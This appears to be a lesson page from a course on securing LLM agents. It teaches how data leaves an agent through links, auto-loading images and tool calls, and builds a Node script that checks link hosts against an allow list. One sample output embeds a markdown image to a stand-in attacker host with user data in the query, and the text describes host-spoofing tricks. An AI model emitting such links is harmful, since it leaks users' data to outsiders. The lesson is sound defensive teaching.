How does data leave an AI agent?
Exfiltration means data leaving a system by a route its owner did not intend. An agent has more routes than a chatbot: links in its answers, images, tool calls and web requests.
The Securing LLM applications module covers prompt injection. This lesson closes the ways out, so that an order hidden in a page has nowhere to send what the agent knows.
By the end of this lesson
Note
I can close the routes data leaves an agent by, using an allow list of destinations that code checks.
Key words
| Word | What it means | Example |
|---|---|---|
| Exfiltration | data leaving by a route the owner did not intend | |
| Allow list | the only destinations that are permitted, with all others refused | docs.example.com |
| Host | the name of the server in a link, between // and the next / | |
| Query string | the part of a link after the question mark, which can carry data | |
| Egress | traffic leaving your system for another |
The cells students fill in are left blank in this preview.
Four routes data can leave by
A link in the answer: the user clicks it and the address carries data. An image in the answer: the browser loads it by itself, so the data leaves with no click.
A tool call: a request the agent makes with data in its arguments. A file name or a message sent to a chat or email tool.
All four put data inside a destination or a message. So check where each one goes.
Worked example: route and check
| Route | How data leaves | The check |
|---|---|---|
| Link | In the query string or the path | The host is on the allow list |
| Image | The browser loads it at once | Same host check, or no images at all |
| Web request tool | In the address or the body | Host on the list, and the method is limited |
| Chat or email tool | In the message text | Recipient on the list |
The cells students fill in are left blank in this preview.
The Run checks links, it sends nothing
The first script holds four invented outputs. It finds each link and reads its host. Then it checks the host against an allow list.
Nothing is fetched. The addresses are made up and the script only reads them. Note how the image link is written: it begins with an exclamation mark, which the script builds from a character code.
Write the link checker, part 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const allowed = [\"docs.example.com\", \"help.example.com\"];' 'const bang = String.fromCharCode(33);' 'const outputs = [' ' \"See the guide at https://docs.example.com/start for steps.\",' ' \"Done. \" + bang + \"[logo](https://img.attacker.example/p.png?d=ANNA-4411)\",' ' \"Open [the form](https://help.example.com/form) to go on.\",' ' \"Click https://track.example.net/c?note=secret to confirm.\",' '];' > egress.js"Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
Write the link checker, part 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' ' const found = [];' ' for (const word of text.split(\" \")) {' ' const at = word.indexOf(\"http\");' ' if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' ' }' ' return found;' '}' 'for (const text of outputs) {' ' for (const url of urlsIn(text)) {' ' const ok = allowed.includes(hostOf(url));' ' const query = url.includes(\"?\") ? \" (carries a query)\" : \"\";' ' console.log((ok ? \"allow \" : \"BLOCK \") + hostOf(url) + query);' ' }' '}' >> egress.js"Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
Run the link checker
docker exec -w /home/node/project agent node egress.jsShown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
What the script prints
| Line | What it shows |
|---|---|
| allow docs.example.com | The host is on the list |
| BLOCK img.attacker.example (carries a query) | An image to a stranger, with data in the address |
| allow help.example.com | A link to a listed host |
| BLOCK track.example.net (carries a query) | A host nobody listed |
The cells students fill in are left blank in this preview.
Compare the whole host, exactly
A check that a link starts with the allowed name is too weak. The link docs.example.com.attacker.example starts with it and goes elsewhere.
A link can also hold a name before an at sign. In [email protected], the real host is the part after the at sign. Read the host out, then compare it whole.
A common mistake
Warning
Many people write a block list of bad hosts. Attackers have endless new ones. List what is allowed and refuse the rest, in code, before the answer is shown.
Write the model script, part 1
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const { ask } = require(\"./model\");' '' 'const allowed = [\"docs.example.com\", \"help.example.com\"];' 'const messages = [' ' { role: \"system\", content: \"You help users of a software product. Answer in one sentence with one markdown link to https://docs.example.com/help.\" },' ' { role: \"user\", content: \"Where do I find help?\" },' '];' '// Recorded sample, used only when no model answers.' 'const sample = \"You can find help in [the guide](https://docs.example.com/help).\";' > egress2.js"Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
Write the model script, part 2
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'function hostOf(url) {' ' return url.split(\"/\")[2].split(\"?\")[0];' '}' 'function urlsIn(text) {' ' const found = [];' ' for (const word of text.split(\" \")) {' ' const at = word.indexOf(\"http\");' ' if (at >= 0) found.push(word.slice(at).split(\")\")[0]);' ' }' ' return found;' '}' >> egress2.js"Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
Write the model script, part 3
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'async function main() {' ' const reply = await ask(messages, sample, 80);' ' console.log(\"Reply: \" + reply);' ' const urls = urlsIn(reply);' ' console.log(\"Links found: \" + urls.length);' ' for (const url of urls) {' ' console.log((allowed.includes(hostOf(url)) ? \"allow \" : \"BLOCK \") + hostOf(url));' ' }' '}' 'main();' >> egress2.js"Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
Write the model helper
docker exec -w /home/node/project agent sh -c "printf '%s\n' 'const base = process.env.AI_URL || \"http://ai:4000\";' 'async function ask(messages, sample, max) {' ' try {' ' const res = await fetch(base + \"/v1/chat/completions\", {' ' method: \"POST\",' ' headers: { \"content-type\": \"application/json\", authorization: \"Bearer lab\" },' ' body: JSON.stringify({ model: \"lab\", messages: messages, max_tokens: max || 200 }),' ' signal: AbortSignal.timeout(30000),' ' });' ' if (res.ok === false) throw new Error(\"status \" + res.status);' ' return (await res.json()).choices[0].message.content;' ' } catch (error) {' ' console.log(\"Recorded sample: no model answered (\" + error.message + \").\");' ' const list = [].concat(sample);' ' const turn = messages.filter(function (m) { return m.role === \"assistant\"; }).length;' ' return list[Math.min(turn, list.length - 1)];' ' }' '}' 'module.exports = { ask };' > model.js"Shown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
Run it against the model
docker exec -w /home/node/project agent node egress2.jsShown here, not run. Create a free account to press Run and type it into your own lab’s terminal.
One possible output
| Line | What it may show |
|---|---|
| Reply | One sentence with a link. The words differ each run |
| Links found | Usually 1. The program counts whatever the reply holds |
| allow or BLOCK | allow when the host is listed. BLOCK for any other host |
| Recorded sample | Printed first when no model answered. The script carries on with the sample |
The cells students fill in are left blank in this preview.